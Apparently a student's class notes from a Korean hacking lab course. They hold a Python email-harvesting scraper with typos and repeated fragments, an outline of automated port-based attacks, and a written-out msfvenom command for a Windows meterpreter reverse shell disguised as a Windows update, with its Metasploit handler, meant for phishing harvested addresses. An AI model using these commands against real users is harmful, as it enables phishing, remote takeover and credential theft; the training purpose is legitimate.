Basic Card

24일차

미션 악성코드를 만들고 관리자 pc로 침투 시켜라 해커는 web2.st.kr에 저장된 이메일을 수집후 자동으로 담당자에게 메일 전송 패킷과 로그를 분석하여 악성코드 침투 흔적 찾기 ci4.st.kr/auth/login ci4.st.kr/auth/ 이메일 부터 수집 칼리: nano attack.py import re import requests # web from bs4 import BeautifulSoup #collect information class Attack: target="http://victim.kr" # victim.kr > web2.st.kr/profile.php def __init__(self,target): print("attack start") print(target) self.target =target def menu(self): print("1.") print("2.") print("3.") def http(self): print("attack http") #target = "http://web1.st.kr" print(self.target) def ftp(self): print("attack ftp") print(self.target) def collectEmail(self): print("collect email") response = requests.get(self.target) print(response) #print(dir(response)) print(response.text) url = "http://web2.st.kr/profile.php" attack1 = Attack(url) #attack1.menu() #attack1.http() #attack1.ftp() attack1.collectEmail() #attack2 = Attack() url에 web2.st.kr이 init의 target으로 올라가고 해당 self.target(victim)은 = target으로 변환하라 결국 web2.st.kr로 이동하라는 것10 이메일 주소 패턴 email_pattern = r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z{2,}' eail = re.findall(email_pattern, soup.text) 중복 제거 및 출력 unique_emails = set(emails) for email in unique_emails: print(email) else: print(f"Failed to access {url}, status code: {response.status_code}") import re import request from bs4 import BeatifulSoup class Attack: target="http://victim.kr" # victim.kr > web2.st.kr/profile.php def __init__(self,target): print("attack start") print(target) self.target =target def menu(self): print("1.") print("2.") print("3.") def http(self): print("attack http") #target = "http://web1.st.kr" print(self.target) def ftp(self): print("attack ftp") print(self.target) def collectEmail(self): email_pattern=r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' print("collect email") for i in range(1,1000): print(i) response = requests.get(self.target) print(response) #print(dir(response)) print(response.text) emails=re.findall(email_pattern,response.text) print(emails) url = "http://web2.st.kr/profile.php" attack1 = Attack(url) #attack1.menu() #attack1.http() #attack1.ftp() attack1.collectEmail() #attack2 = Attack() 미션2 스캔후에 열려 있는 포트별로 자동으로 공격하는 공격 코드 1. 스캔을 한다 2. 포트를 찾는다 3. 80이면 http 공격을 한다 로그인 공격 파일 업로드 공격 SQL 인젝션 공격 XSS 공격 4. 22이면 SSh공격을 한다 5. 21이면 FTP 공격을 한다 해커의 다음 행동은? 키로거 또는 화면캡처를 통해 관리자의 비밀번호를 찾아내라 악성코드 만들기 수집된 이메일로 자동으로 악성코드 보내기 msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -b "\x00" -f exe -o /home/kali/windows_update_20250120001.exe malware.rc use exploit/multi/handler set payload windows/meterpreter/reverse_tcp see lhost 192.168.56.101 set lport 4444 exploit msfconsole -r /home/kali/malware.rc set lhost 192.168.56.101 set lport 4444 exploit help web2에서 로그인창띄우고 칼리에서 screeshot